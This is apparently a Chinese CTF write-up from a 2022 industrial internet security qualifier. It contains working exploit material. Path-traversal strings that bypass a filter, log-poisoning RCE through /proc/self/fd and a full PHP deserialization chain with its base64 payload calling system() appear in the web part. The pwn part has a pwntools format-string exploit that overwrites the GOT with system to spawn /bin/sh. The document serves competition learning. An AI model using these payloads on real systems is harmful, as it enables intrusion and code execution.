2022年中国工业互联网安全大赛北京市选拔赛暨全国线上预选赛-Writeup

2022年中国工业互联网安全大赛北京市选拔赛暨全国线上预选赛-Writeup

0x01 WEB

ezRead

题目一点进去就是一个url:/read.php?Book=ZGRsLnR4dA==
猜测有任意文件读取,经过一番尝试,从报错中发现过滤了../,一开始没有立即想到是str_replace,经过队友的提示,我尝试复写../,果然成功绕过,通过/var/www/ctf/read.php可以读取到read.php的源代码:

  1. ..././..././..././..././..././..././..././..././..././var/www/ctf/read.php
  2. base64:Li4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vdmFyL3d3dy9jdGYvcmVhZC5waHA=
  3. read.php?Book=Li4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vdmFyL3d3dy9jdGYvcmVhZC5waHA=

读取到的read.php如下:

image.png

发现果然是str_replace,并且有任意文件读取,尝试读取根目录是否有/flag,然而并没有那么简单,很明显是需要通过其他方式来继续getshell。经过多番努力尝试,搜寻无果。
我们知道,在linux下一切皆文件,所有,线索肯定藏在某个地方,从/etc/password我们可以知道有一个/home/ctf目录,对该目录进行文件爆破,最终读取到有.bash_history,很明显是bash命令操作历史:

image.png

从命令操作历史来看,应该是存在一个V72J1dn23wjFrq的目录的,所以我们去尝试访问,最终发现有存在一个demo.php,重大发现,于是去read.php开始去读源码:

  1. ..././..././..././..././..././..././..././..././..././var/www/ctf/V72J1dn23wjFrq/demo.php
  2. Li4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vdmFyL3d3dy9jdGYvVjcySjFkbjIzd2pGcnEvZGVtby5waHA=
  3. read.php?Book=Li4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vdmFyL3d3dy9jdGYvVjcySjFkbjIzd2pGcnEvZGVtby5waHA=

demo.php源码如下:

image.png

很明显的任意文件包含,于是去尝试常见的日志文件包含:

  1. 日志文件
  2. nginx
  3. /var/log/nginx/access.log
  4. apache2
  5. /var/log/apache2/access.log
  6. apache
  7. /var/log/httpd/access_log

最终尝试无果,突然想到了前几天看到的一个php-LFI-trick:# 『CTF Tricks』PHP-妙用/proc/self/fd触发LFI日志包含完成RCE命令执行([羊城杯 2021]Only 4非预期解)
image.png

一试没想到还真有指向日志的文件描述符,这个trick使用的环境非常狭窄,没想到还真能遇到,运气不错。
接下来就是往read.phpuser-agent写入一个一句话:
image.png

然后去demo.php包含/proc/self/fd/8完成RCE,令人感叹的是,这个flag藏得真厉害,不过最后还是在/home/ctf目录下找到了一个txt文件,flag就在里面:

image.png

wakeup

写在前面

这题就是一道纯纯的反序列化链子题,但是考的点是利用引用赋值绕过,也是我第一次接触的印象较为深刻的链子,感觉是十分奇妙,一个return用到了如此地步,不得让人感叹,还是需要多多潜心学习!

漏洞源码

  1. <?php
  2. class KeyPort {
  3. public function __call($name, $arguments)
  4. {
  5. if(!isset($this->wakeup)||!$this->wakeup){
  6. call_user_func_array($this->format[$name],$arguments);
  7. }
  8. }
  9. public function finish(){
  10. $this->format=array();
  11. return $this->finish->iffinish;
  12. }
  13. public function __wakeup(){
  14. $this->wakeup=True;
  15. }
  16. }
  17. class ArrayObj{
  18. private $iffinish;
  19. public $name;
  20. public function __get($name){
  21. return $this->$name=$this->name[$name];
  22. }
  23. }
  24. class SunCorpa {
  25. public function __destruct()
  26. {
  27. if ($this->process->finish()) {
  28. $this->process->forward($this->_forward);
  29. }
  30. }
  31. }
  32. class MoonCorpa {
  33. public function __destruct()
  34. {
  35. if ($this->process->finish()) {
  36. $this->options['new']->forward($this->_forward);
  37. }
  38. }
  39. public function __wakeup(){
  40. }
  41. }
  42. if($_GET['u']){
  43. unserialize(base64_decode($_GET['u']));
  44. }else{
  45. highlight_file(__FILE__);
  46. }

前置知识

1、__destruct:一个类如果属性中有对象类型,先执行该类对象的析构函数,再执行属性中类对象的析构函数。即先执行外层,再执行内层。

2、__wakeup:这个则与__destruct函数相反,先执行属性中类对象的wakeup函数,在调用自身类对象的wakeup函数。即先执行内层,再执行外层。

3、php引用赋值&:php可以使用引用的方式,使两个变量同时指向同一个内存地址,这样对其中一个变量操作时,另一个变量的值也会随之改变。

4、__get:当类的成员属性是private,在类外部调用该属性就会调用__get方法;访问不存在的成员属性也会调用__get;

5、__call:当试着调用一个对象中不存在的方法或者在外调用不是public的方法,就是触发__call方法。
6、引用的方式
image.png

过程分析

看完所有的类,明白的都知道最后都是要去调用KeyPort::__call下的call_user_func_array,然而一个wakeup就可以把这条路堵得严严实实的,因为wakeup需要不存在或者为false才能进入该函数进行命令执行,然后__wakeup的时候就将wakeup置为true了:
image.png

所以,就需要用到引用赋值绕过这一个神奇的方法了。思路如下

由于在类外面进行各种类的实例化和赋值存在些离散和复杂的操作,因此,我们选择一个入口类来存储我们所有需要序列化的类对象。入口类肯定是在有着__destruct函数的两个类中选了,我们选择SunCorpa这个入口类。

1、第一部分,使用引用赋值将key1的wakeup赋值为false:

  1. 我来解释一下第一部分,主要的要点就是通过ArrayObjprivate属性iffinish触发\_\_get间接使被引用的wakeupfalse
  2. 首先是SunCorpa最外层的类对象开始析构,this->process被赋值为KeyPort类的一个对象,调用它的finish函数;
  3. 最重要的是这一句return this->finish->iffinish
  4. 由于this->finish被赋值为ArrayObj,并且KeyPortwakeupArrayObjiffinish引用,
  5. 所以相当于KeyPort->wakeup=ArrayObj->iffinish=\_\_get(iffinish)=ArrayObj\['iffinish'\]
  6. 最终,wakeup被赋值为false
  7. 最重要要理解的就是,那一段return直接触发get赋值的神奇调用了。
  8. 第一部分结束,$this->key->wakeup被赋值为false

2、第二部分,因为在执行KetPort::finish()时,其format会被赋值为空数组,导致无法执行我们想要的函数,所以使用引用的方法来给format赋值:

  1. 同样是,第二部分我来解释一下,其实跟第一部分大同小异,只要理解了第一部分,那么第二部分就不难理解了。
  2. 由于每次进入KetPort::finish函数时,就会是format被赋值为空数组,无法传递命令执行的参数,所以这里我们也可以使用引用赋值绕过。
  3. 这里同第一部分一致,仅是将被引用对象属性由wakeup换为了format;但是有个需要特别注意的地方,这里引用的仍是第一部分的format
  4. 同时,由于需要调用到call方法,所以这里的MoonCorpa类对象中的options\['new'\]需要使用上面第一部分绕过wakeup构造好的KeyPort
  5. 最后,填入对应的需要调用的函数方法和参数即可命令执行。

注意:为什么在类里面实例化了一个对象new obj之后,还需要自己声明一个变量来存储这个实例化对象,因为你不存储在这个类里面,到时序列化时,就不会把这个实例化对象一起实例化了,链子就会断掉。
最好实例化完该类之后,就一直使用this->obj进行赋值,这样不容易掉链子。

最终exp&payload

exp

  1. <?php
  2. class KeyPort {
  3. }
  4. class ArrayObj{
  5. private $iffinish;
  6. public $name;
  7. public function __construct(&amp;$x)
  8. {
  9. $this->iffinish=&amp;$x;
  10. }
  11. }
  12. class SunCorpa {
  13. public function __construct(){
  14. //第一部分,使用引用赋值将key1的wakeup赋值为false
  15. $key1=new KeyPort();
  16. $this->key1=$key1;
  17. $arr1=new ArrayObj($key1->wakeup);
  18. $arr1->name=array("iffinish"=>false);
  19. $key1->finish=$arr1;
  20. $this->process=$key1;
  21. //第二部分,同样使用引用赋值使format可控,同时引用第一部分创造好的call入口,即可达到RCE
  22. $moon=new MoonCorpa();
  23. $this->moon=$moon;
  24. $this->moon->options=array("new"=>$this->key1);
  25. $this->moon->_forward="calc";
  26. $key2=new KeyPort();
  27. $this->key2=$key2;
  28. $arr2=new ArrayObj($this->key1->format);
  29. $this->arr2=$arr2;
  30. $this->arr2->name=array("iffinish"=>array("forward"=>"system"));
  31. $this->key2->finish=$this->arr2;
  32. $this->moon->process=$this->key2;
  33. }
  34. }
  35. class MoonCorpa {
  36. }
  37. $sun=new SunCorpa();
  38. $ser=base64_encode(serialize($sun));
  39. echo $ser."\n";

payload

  1. Tzo4OiJTdW5Db3JwYSI6NTp7czo0OiJrZXkxIjtPOjc6IktleVBvcnQiOjM6e3M6Njoid2FrZXVwIjtOO3M6NjoiZmluaXNoIjtPOjg6IkFycmF5T2JqIjoyOntzOjE4OiIAQXJyYXlPYmoAaWZmaW5pc2giO1I6MztzOjQ6Im5hbWUiO2E6MTp7czo4OiJpZmZpbmlzaCI7YjowO319czo2OiJmb3JtYXQiO047fXM6NzoicHJvY2VzcyI7cjoyO3M6NDoibW9vbiI7Tzo5OiJNb29uQ29ycGEiOjM6e3M6Nzoib3B0aW9ucyI7YToxOntzOjM6Im5ldyI7cjoyO31zOjg6Il9mb3J3YXJkIjtzOjQ6ImNhbGMiO3M6NzoicHJvY2VzcyI7Tzo3OiJLZXlQb3J0IjoxOntzOjY6ImZpbmlzaCI7Tzo4OiJBcnJheU9iaiI6Mjp7czoxODoiAEFycmF5T2JqAGlmZmluaXNoIjtSOjc7czo0OiJuYW1lIjthOjE6e3M6ODoiaWZmaW5pc2giO2E6MTp7czo3OiJmb3J3YXJkIjtzOjY6InN5c3RlbSI7fX19fX1zOjQ6ImtleTIiO3I6MTM7czo0OiJhcnIyIjtyOjE0O30

image.png
弹出计算器啦,完结撒花!

0x02 Crypto

cry1

源码

  1. from Crypto.Util.number import \*
  2. from gmpy2 import \*
  3. from random import \*
  4. from flag import flag
  5. m = bytes\_to\_long(flag)
  6. while True:
  7. try:
  8. p = getPrime(512)
  9. q = next\_prime(p+2\*\*420)
  10. n = p\*q
  11. phi = (p-1)\*(q-1)
  12. d = randint(0,n\*\*0.32)
  13. e = inverse(d,phi)
  14. c = pow(m,e,n)
  15. break
  16. except:
  17. continue
  18. print("e = %d"%e)
  19. print("n = %d"%n)
  20. print("c = %d"%c)
  21. '''
  22. e = 101684733522589049376051051576215902510166244234370429058800153902445053536138419222096346715560283781778705047246555278271919928248836576236044123786248907522717751222608113597458768397652361813688176017155353220911686089871315647328303370846954697334521948003485878793121446614220897034652783771882675756065
  23. n = 106490064297459077911162044548396107234298314288687868971249318200714506925762583340058042587392504450330878677254698499363515259785914237880057943786202091010532603853142050802310895234445611880617572636397946757345480447391544962796834842717321639098108976593541239044249391398321435940436125823407760564233
  24. c = 92367575354201067679929326801477992215675304496512806779109227230237905402825022908214026985431756172011616861246881703226244396008088878308925377019775353026444957454196182919500667632574210469783704454438904889268692709062013797002819384105191802781841741128273810101308641357704215204494382259638905571144
  25. '''

分析

很明显,可以直接进行爆破,爆破的脚本如下所示:

  1. from random import *
  2. from Crypto.Util.number import *
  3. from gmpy2 import *
  4. e = 101684733522589049376051051576215902510166244234370429058800153902445053536138419222096346715560283781778705047246555278271919928248836576236044123786248907522717751222608113597458768397652361813688176017155353220911686089871315647328303370846954697334521948003485878793121446614220897034652783771882675756065
  5. n = 106490064297459077911162044548396107234298314288687868971249318200714506925762583340058042587392504450330878677254698499363515259785914237880057943786202091010532603853142050802310895234445611880617572636397946757345480447391544962796834842717321639098108976593541239044249391398321435940436125823407760564233
  6. c = 92367575354201067679929326801477992215675304496512806779109227230237905402825022908214026985431756172011616861246881703226244396008088878308925377019775353026444957454196182919500667632574210469783704454438904889268692709062013797002819384105191802781841741128273810101308641357704215204494382259638905571144
  7. for i in range(1,999999):
  8. att=2**420+i
  9. if iroot(att**2+4*n,2)[1]:
  10. ppp=(iroot(att**2+4*n,2)[0])
  11. p=(ppp-att)//2
  12. q=n//p
  13. d=inverse(e,(p-1)*(q-1))
  14. m=pow(c,d,n)
  15. print(long_to_bytes(m))

cry2

源码

  1. from Crypto.Util.number import \*
  2. \# from secret import p,q,e,flag
  3. i = 11
  4. j = 2
  5. n = p\*q
  6. phi = (p-1)\*(q-1)
  7. d = inverse(e,phi)
  8. assert i\*p-j\*q < n\*\*0.342
  9. m = bytes\_to\_long(flag)
  10. c = pow(m,e,n)
  11. print("n = %d"%n)
  12. print("e = %d"%e)
  13. print("c = %d"%c)
  14. '''
  15. n = 45644374572906696918751526371540317432552767574531146725947197073091284249824311652929876880761183040024642912502639494246699284890420348711755152172125722304276541146638287085067604879135037538874624825231963426170448359129554061563687341132377272549120305441316002675552272436786866637426883885955669
  16. e = 41481590714555165448395765336905824124002290841668481529563451625379681482568747653473952507567741287320305714776744069287119560788311144707988486438017581271859974139810844158857833808782692691546769253874942787868189158458052798618813933937987400708792117152522747046613196233766095230599127585735387
  17. c = 22481406077490349765775034449449891800947708922075545785612755725758022203729757284410090404594184343037857329687684264861065063318192985875299797350095483009028047907100198078442807473361406623372312757028192244866488285737647764514477453697952539702007946700121592003883339948335465611926065239772772
  18. '''

分析

有明显的特征:0.342,知道是 rsa Generalized Wiener Attack "0.342"
直接google搜索,下载paper,发现有现成的p可以测试,一试发现就是出题人用的就是这个p,所以直接拿那个p去算就可以拿到flag了。

image.png

image.png
exp

  1. from Crypto.Util.number import *
  2. p=2880794542322299126706444345451054566788591299326109649598593295363377126011666800246753142436062672739058788177830266655144151568857625404801769045849
  3. n = 45644374572906696918751526371540317432552767574531146725947197073091284249824311652929876880761183040024642912502639494246699284890420348711755152172125722304276541146638287085067604879135037538874624825231963426170448359129554061563687341132377272549120305441316002675552272436786866637426883885955669
  4. e = 41481590714555165448395765336905824124002290841668481529563451625379681482568747653473952507567741287320305714776744069287119560788311144707988486438017581271859974139810844158857833808782692691546769253874942787868189158458052798618813933937987400708792117152522747046613196233766095230599127585735387
  5. c = 22481406077490349765775034449449891800947708922075545785612755725758022203729757284410090404594184343037857329687684264861065063318192985875299797350095483009028047907100198078442807473361406623372312757028192244866488285737647764514477453697952539702007946700121592003883339948335465611926065239772772
  6. print(long_to_bytes(pow(c,inverse(e,p-1), p)))

cry3

分析

分析题目可知, 是一个DH密钥交换协议。
参数是
g = 916143391925527262831875920931
p=11629419588729710248789180926208072549658261770997088964503843186890228609814366773219056811420217048972200345700258846936553626057834496
其中p = 2^425。在这样p下面离散对数问题是很简单的。
看到输出,发现前面都是固定的格式:
image.png

我们直接将后面的东西提取出来:
image.png

去掉空格,十六进制解码,发现是一个十六进制的长整型数,是python2用的。所以这个应该是Alice传的A,拿去解离散对数:
得到a=834271009007676372630844596581
同理我们可以拿到B:
image.png
b=1250126455332688858891056975419

然后我们根据代码计算协商密钥

  1. from Crypto.Cipher import AES
  2. from hashlib import sha256
  3. share = pow(A,b,p)
  4. sharekey = sha256(str(share).encode()).hexdigest()\[:16\]

然后去解密消息,Flag的密文应该是Alice传给Bob的

image.png

应该是 02 后面的值,拿下来解码,然后根据代码用AES解密

  1. aes = AES.new(sharekey.encode(),AES.MODE\_ECB)
  2. aes.decrypt(cipher)

0x03 PWN

究极输出

漏洞分析

while循环内不断的调用printf(buf)的格式化字符串漏洞。
一开始调试输入了很多的%p,发现偏移3的位置(%3$p)可以leak出libc的地址。
由于buf在bss段上,我们考虑在栈上布置printf的got表,利用栈上的链表写入got表,然后再利用栈上的got表,修改printf的got表为system函数的地址,之后printf(buf),输入buf为/bin/sh即调用sysem("/bin/sh")

exp

  1. from os import system
  2. from signal import pause
  3. from pwn import *
  4. from LibcSearcher import *
  5. context(os = 'linux',arch = 'amd64',log_level = 'debug')
  6. mode = 0
  7. if mode == 1:
  8. fang = process("./pwn")
  9. else:
  10. fang = remote("39.105.99.40",34230)
  11. def debug():
  12. gdb.attach(fang)
  13. pause()
  14. elf = ELF("./pwn")
  15. libc = ELF("./libc.so.6")
  16. printf_got = elf.got['printf'] # 0x403390
  17. # gdb.attach(fang,"b *0x4011C7")
  18. # pause()
  19. fang.recvuntil("HELLO?PWN IT!!!\n")
  20. fang.sendline("%3$p")
  21. libc_addr = int(fang.recv(14),16)
  22. libc_base = libc_addr - 0xf7360
  23. system_addr = libc_base + libc.symbols['system']
  24. log.info("printf_got : 0x%x" % printf_got)
  25. log.info("libc_base : 0x%x" % libc_base)
  26. log.info("system_addr : 0x%x" % system_addr)
  27. payload = "%13200c%6$hn"
  28. fang.recvuntil("HELLO?PWN IT!!!\n")
  29. fang.sendline(payload)
  30. sleep(1)
  31. payload = "%4207505c%17$n"
  32. fang.recvuntil("HELLO?PWN IT!!!\n")
  33. fang.sendline(payload)
  34. sleep(1)
  35. system_addr_low = system_addr &amp; 0xff
  36. system_addr_high = (system_addr>>8) &amp; 0xffff
  37. payload = "%"+ str(system_addr_low) +"c%8$hhn" + "%" + str(system_addr_high - system_addr_low) + "c%36$hn"
  38. fang.recvuntil("HELLO?PWN IT!!!\n")
  39. fang.sendline(payload)
  40. sleep(1)
  41. payload = "/bin/sh\x00"
  42. fang.recvuntil("HELLO?PWN IT!!!\n")
  43. fang.sendline(payload)
  44. fang.interactive()

0X04 MISC

签了个到

玩羊了个羊游戏,一直狂点消灭,玩完就可以拿flag了
image.png

  • 发表于 2022-10-09 09:46:35
  • 阅读 ( 8016 )
  • 分类:其他

0 条评论

Sakura501
Sakura501

10 篇文章